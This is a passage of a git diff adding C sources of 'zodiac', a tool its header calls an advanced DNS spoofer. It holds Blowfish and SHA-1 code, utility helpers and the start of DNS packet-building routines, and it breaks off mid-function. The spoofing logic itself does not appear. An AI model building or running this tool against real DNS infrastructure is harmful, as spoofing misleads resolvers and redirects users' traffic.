0x530ff8ee, 0x468dde7d, 0xd5730a1d, 0x4cd04dc6, + 0x2939bbdb, 0xa9ba4650, 0xac9526e8, 0xbe5ee304, + 0xa1fad5f0, 0x6a2d519a, 0x63ef8ce2, 0x9a86ee22, + 0xc089c2b8, 0x43242ef6, 0xa51e03aa, 0x9cf2d0a4, + 0x83c061ba, 0x9be96a4d, 0x8fe51550, 0xba645bd6, + 0x2826a2f9, 0xa73a3ae1, 0x4ba99586, 0xef5562e9, + 0xc72fefd3, 0xf752f7da, 0x3f046f69, 0x77fa0a59, + 0x80e4a915, 0x87b08601, 0x9b09e6ad, 0x3b3ee593, + 0xe990fd5a, 0x9e34d797, 0x2cf0b7d9, 0x022b8b51, + 0x96d5ac3a, 0x017da67d, 0xd1cf3ed6, 0x7c7d2d28, + 0x1f9f25cf, 0xadf2b89b, 0x5ad6b472, 0x5a88f54c, + 0xe029ac71, 0xe019a5e6, 0x47b0acfd, 0xed93fa9b, + 0xe8d3c48d, 0x283b57cc, 0xf8d56629, 0x79132e28, + 0x785f0191, 0xed756055, 0xf7960e44, 0xe3d35e8c, + 0x15056dd4, 0x88f46dba, 0x03a16125, 0x0564f0bd, + 0xc3eb9e15, 0x3c9057a2, 0x97271aec, 0xa93a072a, + 0x1b3f6d9b, 0x1e6321f5, 0xf59c66fb, 0x26dcf319, + 0x7533d928, 0xb155fdf5, 0x03563482, 0x8aba3cbb, + 0x28517711, 0xc20ad9f8, 0xabcc5167, 0xccad925f, + 0x4de81751, 0x3830dc8e, 0x379d5862, 0x9320f991, + 0xea7a90c2, 0xfb3e7bce, 0x5121ce64, 0x774fbe32, + 0xa8b6e37e, 0xc3293d46, 0x48de5369, 0x6413e680, + 0xa2ae0810, 0xdd6db224, 0x69852dfd, 0x09072166, + 0xb39a460a, 0x6445c0dd, 0x586cdecf, 0x1c20c8ae, + 0x5bbef7dd, 0x1b588d40, 0xccd2017f, 0x6bb4e3bb, + 0xdda26a7e, 0x3a59ff45, 0x3e350a44, 0xbcb4cdd5, + 0x72eacea8, 0xfa6484bb, 0x8d6612ae, 0xbf3c6f47, + 0xd29be463, 0x542f5d9e, 0xaec2771b, 0xf64e6370, + 0x740e0d8d, 0xe75b1357, 0xf8721671, 0xaf537d5d, + 0x4040cb08, 0x4eb4e2cc, 0x34d2466a, 0x0115af84, + 0xe1b00428, 0x95983a1d, 0x06b89fb4, 0xce6ea048, + 0x6f3f3b82, 0x3520ab82, 0x011a1d4b, 0x277227f8, + 0x611560b1, 0xe7933fdc, 0xbb3a792b, 0x344525bd, + 0xa08839e1, 0x51ce794b, 0x2f32c9b7, 0xa01fbac9, + 0xe01cc87e, 0xbcc7d1f6, 0xcf0111c3, 0xa1e8aac7, + 0x1a908749, 0xd44fbd9a, 0xd0dadecb, 0xd50ada38, + 0x0339c32a, 0xc6913667, 0x8df9317c, 0xe0b12b4f, + 0xf79e59b7, 0x43f5bb3a, 0xf2d519ff, 0x27d9459c, + 0xbf97222c, 0x15e6fc2a, 0x0f91fc71, 0x9b941525, + 0xfae59361, 0xceb69ceb, 0xc2a86459, 0x12baa8d1, + 0xb6c1075e, 0xe3056a0c, 0x10d25065, 0xcb03a442, + 0xe0ec6e0e, 0x1698db3b, 0x4c98a0be, 0x3278e964, + 0x9f1f9532, 0xe0d392df, 0xd3a0342b, 0x8971f21e, + 0x1b0a7441, 0x4ba3348c, 0xc5be7120, 0xc37632d8, + 0xdf359f8d, 0x9b992f2e, 0xe60b6f47, 0x0fe3f11d, + 0xe54cda54, 0x1edad891, 0xce6279cf, 0xcd3e7e6f, + 0x1618b166, 0xfd2c1d05, 0x848fd2c5, 0xf6fb2299, + 0xf523f357, 0xa6327623, 0x93a83531, 0x56cccd02, + 0xacf08162, 0x5a75ebb5, 0x6e163697, 0x88d273cc, + 0xde966292, 0x81b949d0, 0x4c50901b, 0x71c65614, + 0xe6c6c7bd, 0x327a140a, 0x45e1d006, 0xc3f27b9a, + 0xc9aa53fd, 0x62a80f00, 0xbb25bfe2, 0x35bdd2f6, + 0x71126905, 0xb2040222, 0xb6cbcf7c, 0xcd769c2b, + 0x53113ec0, 0x1640e3d3, 0x38abbd60, 0x2547adf0, + 0xba38209c, 0xf746ce76, 0x77afa1c5, 0x20756060, + 0x85cbfe4e, 0x8ae88dd8, 0x7aaaf9b0, 0x4cf9aa7e, + 0x1948c25c, 0x02fb8a8c, 0x01c36ae4, 0xd6ebe1f9, + 0x90d4f869, 0xa65cdea0, 0x3f09252d, 0xc208e69f, + 0xb74e6132, 0xce77e25b, 0x578fdfe3, 0x3ac372e6 + } +}; + +#endif + diff --git a/dns-projects/zodiac/src/cipher-blowfish.c b/dns-projects/zodiac/src/cipher-blowfish.c new file mode 100644 index 0000000..7b1bff1 --- /dev/null +++ b/dns-projects/zodiac/src/cipher-blowfish.c @@ -0,0 +1,304 @@ +/* zodiac - advanced dns spoofer + * + * blowfish encryption routines, reference implementation + * + * by: (unknown, possible bruce schneier) + * additions by random + * slightly modified by scut + */ + +#include +#include "cipher-sha1.h" +#include "cipher-blowfish.h" +#include "cipher-blowfish-tab.h" +#include "common.h" + +#define BOXES 3 + +/* #define S(x,i) (bf_S[i][x.w.byte##i]) */ +#define S0(x) (bf_S[0][x.w.byte0]) +#define S1(x) (bf_S[1][x.w.byte1]) +#define S2(x) (bf_S[2][x.w.byte2]) +#define S3(x) (bf_S[3][x.w.byte3]) +#define bf_F(x) (((S0(x) + S1(x)) ^ S2(x)) + S3(x)) +#define ROUND(a,b,n) (a.word ^= bf_F(b) ^ bf_P[n]) + +struct box_t { + UWORD_32bits *P; + UWORD_32bits **S; + char key[81]; + char keybytes; +} box[BOXES]; + +static void blowfish_encipher (UWORD_32bits *xl, UWORD_32bits *xr); +static void blowfish_decipher (UWORD_32bits *xl, UWORD_32bits *xr); +static void blowfish_init (UBYTE_08bits *key, short keybytes, int bxtouse); + + +UWORD_32bits *bf_P; +UWORD_32bits **bf_S; + + +static void +blowfish_encipher (UWORD_32bits *xl, UWORD_32bits *xr) +{ + union aword Xl; + union aword Xr; + + Xl.word = *xl; + Xr.word = *xr; + + Xl.word ^= bf_P[0]; + ROUND (Xr, Xl, 1); + ROUND (Xl, Xr, 2); + ROUND (Xr, Xl, 3); + ROUND (Xl, Xr, 4); + ROUND (Xr, Xl, 5); + ROUND (Xl, Xr, 6); + ROUND (Xr, Xl, 7); + ROUND (Xl, Xr, 8); + ROUND (Xr, Xl, 9); + ROUND (Xl, Xr, 10); + ROUND (Xr, Xl, 11); + ROUND (Xl, Xr, 12); + ROUND (Xr, Xl, 13); + ROUND (Xl, Xr, 14); + ROUND (Xr, Xl, 15); + ROUND (Xl, Xr, 16); + Xr.word ^= bf_P[17]; + + *xr = Xl.word; + *xl = Xr.word; +} + + +static void +blowfish_decipher (UWORD_32bits *xl, UWORD_32bits *xr) +{ + union aword Xl; + union aword Xr; + + Xl.word = *xl; + Xr.word = *xr; + + Xl.word ^= bf_P[17]; + ROUND (Xr, Xl, 16); + ROUND (Xl, Xr, 15); + ROUND (Xr, Xl, 14); + ROUND (Xl, Xr, 13); + ROUND (Xr, Xl, 12); + ROUND (Xl, Xr, 11); + ROUND (Xr, Xl, 10); + ROUND (Xl, Xr, 9); + ROUND (Xr, Xl, 8); + ROUND (Xl, Xr, 7); + ROUND (Xr, Xl, 6); + ROUND (Xl, Xr, 5); + ROUND (Xr, Xl, 4); + ROUND (Xl, Xr, 3); + ROUND (Xr, Xl, 2); + ROUND (Xl, Xr, 1); + Xr.word ^= bf_P[0]; + + *xl = Xr.word; + *xr = Xl.word; +} + + +static void +blowfish_init (UBYTE_08bits *key, short keybytes, int bxtouse) +{ + int i, j, bx; + UWORD_32bits data; + UWORD_32bits datal; + UWORD_32bits datar; + union aword temp; + + for (i = 0 ; i < BOXES ; i++) + if (box[i].P != NULL) { + if ((box[i].keybytes == keybytes) && + (strncmp ((char *) (box[i].key), (char *) key, keybytes) == 0)) + { + bf_P = box[i].P; + bf_S = box[i].S; + + return; + } + } + + bx = (-1); + + for (i = 0 ; i < BOXES ; i++) { + if (box[i].P == NULL) { + bx = i; + i = BOXES + 1; + } + } + + if (bx < 0) { + bx = bxtouse; + free (box[bx].P); + + for (i = 0 ; i < 4 ; i++) + free (box[bx].S[i]); + + free (box[bx].S); + } + + box[bx].P = (UWORD_32bits *) malloc ((bf_N + 2) * sizeof (UWORD_32bits)); + box[bx].S = (UWORD_32bits **) malloc (4 * sizeof (UWORD_32bits *)); + + for (i = 0 ; i < 4 ; i++) + box[bx].S[i] = (UWORD_32bits *) malloc (256 * sizeof (UWORD_32bits)); + + bf_P = box[bx].P; + bf_S = box[bx].S; + box[bx].keybytes = keybytes; + strncpy (box[bx].key, key, keybytes); + + for (i = 0 ; i < bf_N + 2 ; i++) + bf_P[i] = initbf_P[i]; + + for (i = 0 ; i < 4 ; i++) + for (j = 0 ; j < 256 ; j++) + bf_S[i][j] = initbf_S[i][j]; + + for (i = 0, j = 0; i < bf_N + 2; ++i) { + temp.word = 0; + temp.w.byte0 = key[j]; + temp.w.byte1 = key[(j + 1) % keybytes]; + temp.w.byte2 = key[(j + 2) % keybytes]; + temp.w.byte3 = key[(j + 3) % keybytes]; + data = temp.word; + bf_P[i] = bf_P[i] ^ data; + j = (j + 4) % keybytes; + } + + datal = 0x00000000; + datar = 0x00000000; + + for (i = 0 ; i < bf_N + 2 ; i += 2) { + blowfish_encipher (&datal, &datar); + + bf_P[i] = datal; + bf_P[i + 1] = datar; + } + + for (i = 0 ; i < 4 ; ++i) { + for (j = 0 ; j < 256 ; j += 2) { + + blowfish_encipher(&datal, &datar); + + bf_S[i][j] = datal; + bf_S[i][j + 1] = datar; + } + } +} + + +unsigned char * +bf_encipher (char *keyphrase, unsigned char *data, size_t data_len, size_t *result_len) +{ + UWORD_32bits left, right; /* blowfish halfs */ + unsigned long int dp_i; /* data pointer relative */ + unsigned char key[20]; /* hash used as bf key */ + unsigned char *data_enc, + *dp; + unsigned char *sp, + *source; + long int do_count; + + /* build a strong hash out of a weak keyphrase + */ + SHA1Hash (keyphrase, key); + blowfish_init (key, sizeof (key), 0); + + sp = source = xcalloc (1, data_len + (8 - (data_len % 8)) + 1); + memcpy (source, data, data_len); + dp = data_enc = xcalloc (1, data_len + 9); + + do_count = data_len / 8; + if ((data_len % 8) != 0) + do_count += 1; + + *result_len = do_count * 8; + + for (dp_i = 0 ; dp_i < do_count ; ++dp_i) { + left = ((*sp++) << 24); + left |= ((*sp++) << 16); + left |= ((*sp++) << 8); + left |= (*sp++); + right = ((*sp++) << 24); + right |= ((*sp++) << 16); + right |= ((*sp++) << 8); + right |= (*sp++); + + blowfish_encipher (&left, &right); + *dp++ = (right & 0xff000000) >> 24; + *dp++ = (right & 0x00ff0000) >> 16; + *dp++ = (right & 0x0000ff00) >> 8; + *dp++ = (right & 0x000000ff); + *dp++ = (left & 0xff000000) >> 24; + *dp++ = (left & 0x00ff0000) >> 16; + *dp++ = (left & 0x0000ff00) >> 8; + *dp++ = (left & 0x000000ff); + } + + free (source); + + return (data_enc); +} + + +unsigned char * +bf_decipher (char *keyphrase, unsigned char *data, size_t data_len) +{ + UWORD_32bits left, right; /* blowfish halfs */ + unsigned long int dp_i; /* data pointer relative */ + unsigned char key[20]; /* hash used as bf key */ + unsigned char *data_dec, + *dp; + unsigned char *sp; + long int do_count; + + /* sanity checking + */ + if ((data_len % 8) != 0) + return (NULL); + + /* build a strong hash out of a weak keyphrase + */ + SHA1Hash (keyphrase, key); + blowfish_init (key, sizeof (key), 0); + + sp = data; + dp = data_dec = xcalloc (1, data_len); + + do_count = data_len / 8; + + for (dp_i = 0 ; dp_i < do_count ; ++dp_i) { + right = ((*sp++) << 24); + right |= ((*sp++) << 16); + right |= ((*sp++) << 8); + right |= (*sp++); + left = ((*sp++) << 24); + left |= ((*sp++) << 16); + left |= ((*sp++) << 8); + left |= (*sp++); + + blowfish_decipher (&left, &right); + + *dp++ = (left & 0xff000000) >> 24; + *dp++ = (left & 0x00ff0000) >> 16; + *dp++ = (left & 0x0000ff00) >> 8; + *dp++ = (left & 0x000000ff); + *dp++ = (right & 0xff000000) >> 24; + *dp++ = (right & 0x00ff0000) >> 16; + *dp++ = (right & 0x0000ff00) >> 8; + *dp++ = (right & 0x000000ff); + } + + return (data_dec); +} + + diff --git a/dns-projects/zodiac/src/cipher-blowfish.h b/dns-projects/zodiac/src/cipher-blowfish.h new file mode 100644 index 0000000..10a20bf --- /dev/null +++ b/dns-projects/zodiac/src/cipher-blowfish.h @@ -0,0 +1,93 @@ +#ifndef _H_BLOWFISH +#define _H_BLOWFISH + +#include +#include +#include + +#define MAXKEYBYTES 56 /* 448 bits */ +#define bf_N 16 +#define noErr 0 +#define DATAERROR -1 +#define KEYBYTES 8 + +#define UBYTE_08bits unsigned char +#define UWORD_16bits unsigned short + +#define nmalloc(x) n_malloc((x),__FILE__,__LINE__) + +#define SIZEOF_INT 4 +#define SIZEOF_LONG 4 + +#if SIZEOF_INT==4 +# define UWORD_32bits unsigned int +#else +# if SIZEOF_LONG==4 +# define UWORD_32bits unsigned long +# endif +#endif + +/* choose a byte order for your hardware */ + +#ifdef WORDS_BIGENDIAN +/* ABCD - big endian - motorola */ +union aword { + UWORD_32bits word; + UBYTE_08bits byte[4]; + + struct { + unsigned int byte0:8; + unsigned int byte1:8; + unsigned int byte2:8; + unsigned int byte3:8; + } w; +}; +#endif /* WORDS_BIGENDIAN */ + +#ifndef WORDS_BIGENDIAN +/* DCBA - little endian - intel */ +union aword { + UWORD_32bits word; + UBYTE_08bits byte[4]; + + struct { + unsigned int byte3:8; + unsigned int byte2:8; + unsigned int byte1:8; + unsigned int byte0:8; + } w; +}; +#endif /* !WORDS_BIGENDIAN */ + + +/* bf_encipher + * + * safely encrypt a sequenced byte block pointed to by `data' with length + * `data_len'. as encryption key a hash build out of an asciiz string + * `keyphrase' is used. the length of the resulting data block is + * stored in the variable pointed to by `result_len'. + * + * return a pointer to a new allocated encrypted data block + */ + +unsigned char *bf_encipher (char *keyphrase, unsigned char *data, + size_t data_len, size_t *result_len); + + +/* bf_decipher + * + * decrypt a blowfish encrypted data block pointed to by `data'. as key use a + * hash value build out of the asciiz string `keyphrase'. the data block is + * `data_len' bytes in length and must be padded to an 8 byte boundary. + * + * return NULL on failure (boundary error) + * return a pointer to a new allocated decrypted data block + */ + +unsigned char *bf_decipher (char *keyphrase, unsigned char *data, + size_t data_len); + + +#endif + + diff --git a/dns-projects/zodiac/src/cipher-sha1.c b/dns-projects/zodiac/src/cipher-sha1.c new file mode 100644 index 0000000..471f778 --- /dev/null +++ b/dns-projects/zodiac/src/cipher-sha1.c @@ -0,0 +1,202 @@ +/* sha-1 implementation + * + * by steve reid + * modified by scut + */ + +/* #define LITTLE_ENDIAN * This should be #define'd if true. */ + +#include +#include +#include "cipher-sha1.h" + +typedef struct { + unsigned long state[5]; + unsigned long count[2]; + unsigned char buffer[64]; +} SHA1_CTX; + +static void SHA1Transform (unsigned long state[5], + unsigned char buffer[64]); +static void SHA1Init (SHA1_CTX* context); +static void SHA1Update (SHA1_CTX* context, unsigned char* data, + unsigned int len); +static void SHA1Final (unsigned char digest[20], SHA1_CTX* context); + + +#define rol(value, bits) (((value) << (bits)) | ((value) >> (32 - (bits)))) + +/* blk0() and blk() perform the initial expand. */ +/* I got the idea of expanding during the round function from SSLeay */ +#ifdef LITTLE_ENDIAN +#define blk0(i) (block->l[i] = (rol(block->l[i],24)&0xFF00FF00) \ + |(rol(block->l[i],8)&0x00FF00FF)) +#else +#define blk0(i) block->l[i] +#endif +#define blk(i) (block->l[i&15] = rol(block->l[(i+13)&15]^block->l[(i+8)&15] \ + ^block->l[(i+2)&15]^block->l[i&15],1)) + +/* (R0+R1), R2, R3, R4 are the different operations used in SHA1 */ +#define R0(v,w,x,y,z,i) z+=((w&(x^y))^y)+blk0(i)+0x5A827999+rol(v,5),w=rol(w,30); +#define R1(v,w,x,y,z,i) z+=((w&(x^y))^y)+blk(i)+0x5A827999+rol(v,5),w=rol(w,30); +#define R2(v,w,x,y,z,i) z+=(w^x^y)+blk(i)+0x6ED9EBA1+rol(v,5),w=rol(w,30); +#define R3(v,w,x,y,z,i) z+=(((w|x)&y)|(w&x))+blk(i)+0x8F1BBCDC+rol(v,5),w=rol(w,30); +#define R4(v,w,x,y,z,i) z+=(w^x^y)+blk(i)+0xCA62C1D6+rol(v,5),w=rol(w,30); + + +/* Hash a single 512-bit block. This is the core of the algorithm. */ + +void +SHA1Transform (unsigned long state[5], unsigned char buffer[64]) +{ + unsigned long a, b, c, d, e; + typedef union { + unsigned char c[64]; + unsigned long l[16]; + } CHAR64LONG16; + CHAR64LONG16 *block; + static unsigned char workspace[64]; + + block = (CHAR64LONG16 *) workspace; + memcpy (block, buffer, 64); + + /* Copy context->state[] to working vars */ + a = state[0]; + b = state[1]; + c = state[2]; + d = state[3]; + e = state[4]; + + /* 4 rounds of 20 operations each. Loop unrolled. */ + R0(a,b,c,d,e, 0); R0(e,a,b,c,d, 1); R0(d,e,a,b,c, 2); R0(c,d,e,a,b, 3); + R0(b,c,d,e,a, 4); R0(a,b,c,d,e, 5); R0(e,a,b,c,d, 6); R0(d,e,a,b,c, 7); + R0(c,d,e,a,b, 8); R0(b,c,d,e,a, 9); R0(a,b,c,d,e,10); R0(e,a,b,c,d,11); + R0(d,e,a,b,c,12); R0(c,d,e,a,b,13); R0(b,c,d,e,a,14); R0(a,b,c,d,e,15); + R1(e,a,b,c,d,16); R1(d,e,a,b,c,17); R1(c,d,e,a,b,18); R1(b,c,d,e,a,19); + R2(a,b,c,d,e,20); R2(e,a,b,c,d,21); R2(d,e,a,b,c,22); R2(c,d,e,a,b,23); + R2(b,c,d,e,a,24); R2(a,b,c,d,e,25); R2(e,a,b,c,d,26); R2(d,e,a,b,c,27); + R2(c,d,e,a,b,28); R2(b,c,d,e,a,29); R2(a,b,c,d,e,30); R2(e,a,b,c,d,31); + R2(d,e,a,b,c,32); R2(c,d,e,a,b,33); R2(b,c,d,e,a,34); R2(a,b,c,d,e,35); + R2(e,a,b,c,d,36); R2(d,e,a,b,c,37); R2(c,d,e,a,b,38); R2(b,c,d,e,a,39); + R3(a,b,c,d,e,40); R3(e,a,b,c,d,41); R3(d,e,a,b,c,42); R3(c,d,e,a,b,43); + R3(b,c,d,e,a,44); R3(a,b,c,d,e,45); R3(e,a,b,c,d,46); R3(d,e,a,b,c,47); + R3(c,d,e,a,b,48); R3(b,c,d,e,a,49); R3(a,b,c,d,e,50); R3(e,a,b,c,d,51); + R3(d,e,a,b,c,52); R3(c,d,e,a,b,53); R3(b,c,d,e,a,54); R3(a,b,c,d,e,55); + R3(e,a,b,c,d,56); R3(d,e,a,b,c,57); R3(c,d,e,a,b,58); R3(b,c,d,e,a,59); + R4(a,b,c,d,e,60); R4(e,a,b,c,d,61); R4(d,e,a,b,c,62); R4(c,d,e,a,b,63); + R4(b,c,d,e,a,64); R4(a,b,c,d,e,65); R4(e,a,b,c,d,66); R4(d,e,a,b,c,67); + R4(c,d,e,a,b,68); R4(b,c,d,e,a,69); R4(a,b,c,d,e,70); R4(e,a,b,c,d,71); + R4(d,e,a,b,c,72); R4(c,d,e,a,b,73); R4(b,c,d,e,a,74); R4(a,b,c,d,e,75); + R4(e,a,b,c,d,76); R4(d,e,a,b,c,77); R4(c,d,e,a,b,78); R4(b,c,d,e,a,79); + + /* Add the working vars back into context.state[] */ + state[0] += a; + state[1] += b; + state[2] += c; + state[3] += d; + state[4] += e; + + /* Wipe variables */ + a = b = c = d = e = 0; + + return; +} + + +/* SHA1Init - Initialize new context */ + +void +SHA1Init (SHA1_CTX *context) +{ + /* SHA1 initialization constants */ + context->state[0] = 0x67452301; + context->state[1] = 0xEFCDAB89; + context->state[2] = 0x98BADCFE; + context->state[3] = 0x10325476; + context->state[4] = 0xC3D2E1F0; + context->count[0] = context->count[1] = 0; + + return; +} + + +/* Run your data through this. */ + +void +SHA1Update (SHA1_CTX* context, unsigned char* data, unsigned int len) +{ + unsigned int i, j; + + j = (context->count[0] >> 3) & 63; + if ((context->count[0] += len << 3) < (len << 3)) + context->count[1]++; + + context->count[1] += (len >> 29); + + if ((j + len) > 63) { + memcpy (&context->buffer[j], data, (i = 64-j)); + SHA1Transform (context->state, context->buffer); + + for ( ; i + 63 < len ; i += 64) { + SHA1Transform (context->state, &data[i]); + } + + j = 0; + } else + i = 0; + + memcpy (&context->buffer[j], &data[i], len - i); + + return; +} + + +/* Add padding and return the message digest. */ + +void +SHA1Final (unsigned char digest[20], SHA1_CTX* context) +{ + unsigned long i, j; + unsigned char finalcount[8]; + + for (i = 0 ; i < 8 ; i++) { + finalcount[i] = (unsigned char)((context->count[(i >= 4 ? 0 : 1)] >> ((3-(i & 3)) * 8) ) & 255); + } + + SHA1Update (context, (unsigned char *)"\200", 1); + while ((context->count[0] & 504) != 448) { + SHA1Update (context, (unsigned char *)"\0", 1); + } + + /* Should cause a SHA1Transform() */ + SHA1Update (context, finalcount, 8); + for (i = 0 ; i < 20 ; i++) { + digest[i] = (unsigned char) ((context->state[i>>2] >> ((3-(i & 3)) * 8) ) & 255); + } + + /* Wipe variables */ + i = j = 0; + + memset (context->buffer, 0, 64); + memset (context->state, 0, 20); + memset (context->count, 0, 8); + memset (&finalcount, 0, 8); + + SHA1Transform (context->state, context->buffer); + + return; +} + + +void +SHA1Hash (char *password, unsigned char *hash) +{ + SHA1_CTX context; + + SHA1Init (&context); + SHA1Update (&context, password, strlen (password)); + SHA1Final (hash, &context); + + return; +} diff --git a/dns-projects/zodiac/src/cipher-sha1.h b/dns-projects/zodiac/src/cipher-sha1.h new file mode 100644 index 0000000..3bc084b --- /dev/null +++ b/dns-projects/zodiac/src/cipher-sha1.h @@ -0,0 +1,24 @@ +/* sha-1 implementation + * + * by steve reid + * modified by scut + * + * include file + */ + +#ifndef _FNX_CIPHER_SHA1_H +#define _FNX_CIPHER_SHA1_H + + +/* SHA1Hash + * + * hash an ASCIIZ password into a 20 byte long hash byte buffer + * + * return in any case + */ + +void SHA1Hash (char *password, unsigned char *hash); + + +#endif + diff --git a/dns-projects/zodiac/src/common.c b/dns-projects/zodiac/src/common.c new file mode 100644 index 0000000..9b28d61 --- /dev/null +++ b/dns-projects/zodiac/src/common.c @@ -0,0 +1,318 @@ + +#include +#include +#include +#include +#include +#include +#include +#include "common.h" + + +#ifdef DEBUG +void +debugp (char *filename, const char *str, ...) +{ + FILE *fp; /* temporary file pointer */ + va_list vl; + + fp = fopen (filename, "a"); + if (fp == NULL) + return; + + va_start (vl, str); + vfprintf (fp, str, vl); + va_end (vl); + + fclose (fp); + + return; +} + +void +hexdump (char *filename, unsigned char *data, unsigned int amount) +{ + FILE *fp; /* temporary file pointer */ + unsigned int dp, p; /* data pointer */ + const char trans[] = + "................................ !\"#$%&'()*+,-./0123456789" + ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm" + "nopqrstuvwxyz{|}~...................................." + "....................................................." + "........................................"; + + fp = fopen (filename, "a"); + if (fp == NULL) + return; + + fprintf (fp, "\n-packet-\n"); + + for (dp = 1; dp <= amount; dp++) { + fprintf (fp, "%02x ", data[dp-1]); + if ((dp % 8) == 0) + fprintf (fp, " "); + if ((dp % 16) == 0) { + fprintf (fp, "| "); + p = dp; + for (dp -= 16; dp < p; dp++) + fprintf (fp, "%c", trans[data[dp]]); + fflush (fp); + fprintf (fp, "\n"); + } + fflush (fp); + } + if ((amount % 16) != 0) { + p = dp = 16 - (amount % 16); + for (dp = p; dp > 0; dp--) { + fprintf (fp, " "); + if (((dp % 8) == 0) && (p != 8)) + fprintf (fp, " "); + fflush (fp); + } + fprintf (fp, " | "); + for (dp = (amount - (16 - p)); dp < amount; dp++) + fprintf (fp, "%c", trans[data[dp]]); + fflush (fp); + } + fprintf (fp, "\n"); + + fclose (fp); + return; +} + +#endif + + +/* m_random + * + * return a random number between `lowmark' and `highmark' + */ + +int +m_random (int lowmark, int highmark) +{ + long int rnd; + + /* flip/swap them in case user messed up + */ + if (lowmark > highmark) { + lowmark ^= highmark; + highmark ^= lowmark; + lowmark ^= highmark; + } + rnd = lowmark; + + rnd += (random () % (highmark - lowmark)); + + /* this is lame, i know :) + */ + return (rnd); +} + + +/* set_tv + * + * initializes a struct timeval pointed to by `tv' to a second value of + * `seconds' + * + * return in any case + */ + +void +set_tv (struct timeval *tv, int seconds) +{ + tv->tv_sec = seconds; + tv->tv_usec = 0; + + return; +} + + +/* xstrupper + * + * uppercase a string `str' + * + * return in any case + */ + +void +xstrupper (char *str) +{ + for (; *str != '\0'; ++str) { + if (*str >= 'a' && *str <= 'z') { + *str -= ('a' - 'A'); + } + } + + return; +} + + +/* concating snprintf + * + * determines the length of the string pointed to by `os', appending formatted + * string to a maximium length of `len'. + * + */ + +void +scnprintf (char *os, size_t len, const char *str, ...) +{ + va_list vl; + char *ostmp = os + strlen (os); + + va_start (vl, str); + vsnprintf (ostmp, len - strlen (os) - 1, str, vl); + va_end (vl); + + return; +} + + +unsigned long int +tdiff (struct timeval *old, struct timeval *new) +{ + unsigned long int time1; + + if (new->tv_sec >= old->tv_sec) { + time1 = new->tv_sec - old->tv_sec; + if ((new->tv_usec - 500000) >= old->tv_usec) + time1++; + } else { + time1 = old->tv_sec - new->tv_sec; + if ((old->tv_usec - 500000) >= new->tv_usec) + time1++; + } + + return (time1); +} + + +/* ipv4_print + * + * padding = 0 -> don't padd + * padding = 1 -> padd with zeros + * padding = 2 -> padd with spaces + */ + +char * +ipv4_print (char *dest, struct in_addr in, int padding) +{ + unsigned char *ipp; + + ipp = (unsigned char *) &in.s_addr; + + strcpy (dest, ""); + + switch (padding) { + case (0): + sprintf (dest, "%d.%d.%d.%d", ipp[0], ipp[1], ipp[2], ipp[3]); + break; + case (1): + sprintf (dest, "%03d.%03d.%03d.%03d", ipp[0], ipp[1], ipp[2], ipp[3]); + break; + case (2): + sprintf (dest, "%3d.%3d.%3d.%3d", ipp[0], ipp[1], ipp[2], ipp[3]); + break; + default: + break; + } + + return (dest); +} + + +void * +xrealloc (void *m_ptr, size_t newsize) +{ + void *n_ptr; + + n_ptr = realloc (m_ptr, newsize); + if (n_ptr == NULL) { + fprintf (stderr, "realloc failed\n"); + exit (EXIT_FAILURE); + } + + return (n_ptr); +} + + +char * +xstrdup (char *str) +{ + char *b; + + b = strdup (str); + if (b == NULL) { + fprintf (stderr, "strdup failed\n"); + exit (EXIT_FAILURE); + } + + return (b); +} + + +void * +xcalloc (int factor, size_t size) +{ + void *bla; + + bla = calloc (factor, size); + + if (bla == NULL) { + fprintf (stderr, "no memory left\n"); + exit (EXIT_FAILURE); + } + + return (bla); +} + + +/* source by dk + */ + +char * +allocncat (char **to, char *from, size_t len) +{ + int rlen = strlen (from); + int null = *to == NULL; + + len = rlen < len ? rlen : len; + *to = realloc (*to, (null ? 0 : strlen (*to)) + len + 1); + if (null) + **to = '\0'; + + if (*to == NULL) + perror ("no memory: "); + + return (strncat (*to, from, len)); +} + + +char * +alloccat (char **to, char *from) +{ + return (allocncat (to, from, strlen (from))); +} + + +char * +ip_get_random (void) +{ + char *ip = xcalloc (1, 17); + int i[4]; + + for (;;) { + i[0] = m_random (1, 239); + if (i[0] != 10 && i[0] != 127 && i[0] != 192) + break; + } + i[1] = m_random (1, 254); + i[2] = m_random (1, 254); + i[3] = m_random (1, 254); + + sprintf (ip, "%d.%d.%d.%d", i[0], i[1], i[2], i[3]); + + return (ip); +} + diff --git a/dns-projects/zodiac/src/common.h b/dns-projects/zodiac/src/common.h new file mode 100644 index 0000000..dc7b666 --- /dev/null +++ b/dns-projects/zodiac/src/common.h @@ -0,0 +1,26 @@ + +#ifndef Z_COMMON_H +#define Z_COMMON_H + +#include +#include + +#ifdef DEBUG +void debugp (char *filename, const char *str, ...); +void hexdump (char *filename, unsigned char *data, unsigned int amount); +#endif +int m_random (int lowmark, int highmark); +void set_tv (struct timeval *tv, int seconds); +void xstrupper (char *str); +void scnprintf (char *os, size_t len, const char *str, ...); +unsigned long int tdiff (struct timeval *old, struct timeval *new); +char *ipv4_print (char *dest, struct in_addr in, int padding); +void *xrealloc (void *m_ptr, size_t newsize); +char *xstrdup (char *str); +void *xcalloc (int factor, size_t size); +char *allocncat (char **to, char *from, size_t len); +char *alloccat (char **to, char *from); +char *ip_get_random (void); + +#endif + diff --git a/dns-projects/zodiac/src/dns-build.c b/dns-projects/zodiac/src/dns-build.c new file mode 100644 index 0000000..2426762 --- /dev/null +++ b/dns-projects/zodiac/src/dns-build.c @@ -0,0 +1,670 @@ +/* zodiac - advanced dns spoofer + * + * dns packet construction routines + * if you need some, just borrow here and drop me a line of credit :) + * + * by scut / teso + */ + +#include /* route's owning library =) */ +#include +#include +#include +#include +#include "common.h" +#include "dns.h" +#include "dns-build.h" +#include "dns-tag.h" +#include "io-udp.h" +#include "network.h" +#include "zodiac.h" + + +extern char * match_hash; + + +/* dns_build_random + * + * prequel the domain name `domain' with a random sequence of characters + * with a random length if len is zero, or a fixed length if len is != 0 + * + * return the allocated new string + */ + +char * +dns_build_random (char *domain, size_t len) +{ + int dlen, cc; + char *pr; + + cc = dlen = (len == 0) ? m_random (3, 16) : len; + pr = xcalloc (1, strlen (domain) + dlen + 2); + for (; dlen > 0; --dlen) { + char p; + + (int) p = m_random ((int) 'a', (int) 'z'); + pr[dlen - 1] = p; + } + pr[cc] = '.'; + memcpy (pr + cc + 1, domain, strlen (domain)); + + return (pr); +} + + +/* dns_domain + * + * return a pointer to the beginning of the SLD within a full qualified + * domain name `domainname'. + * + * return NULL on failure + * return a pointer to the beginning of the SLD on success + */ + +char * +dns_domain (char *domainname) 